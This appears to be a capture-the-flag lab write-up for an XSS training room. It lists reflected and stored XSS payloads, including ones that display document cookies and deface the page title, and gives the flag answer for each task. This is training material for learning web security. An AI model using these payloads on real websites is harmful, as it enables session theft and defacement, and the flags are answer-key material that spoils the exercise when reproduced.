Skip to content

Task 20

Section titled “Navigate to http://10.10.172.84/ in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”. ”

On input search

<script>alert(“Hello”)</script>

ThereIsMoreToXSSThanYouThink

On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

Section titled “On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address. ”
<script>alert(window.location.hostname)</script>

ReflectiveXss4TheWin

Now navigate to http://10.10.172.84/ in your browser and click on the “Stored XSS” tab on the navbar; make an account. Then add a comment and see if you can insert some of your own HTML.

Section titled “Now navigate to http://10.10.172.84/ in your browser and click on the “Stored XSS” tab on the navbar; make an account. Then add a comment and see if you can insert some of your own HTML. ”
<h1>this is an HTML tag </h1>

HTML_T4gs

On the same page, create an alert popup box appear on the page with your document cookies.

Section titled “On the same page, create an alert popup box appear on the page with your document cookies. ”
<script>alert(document.cookie)</script>

W3LL_D0N3_LVL2

Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.

Section titled “Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript. ”

Find the ID of the XSS playground element

<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

websites_can_be_easily_defaced_with_xss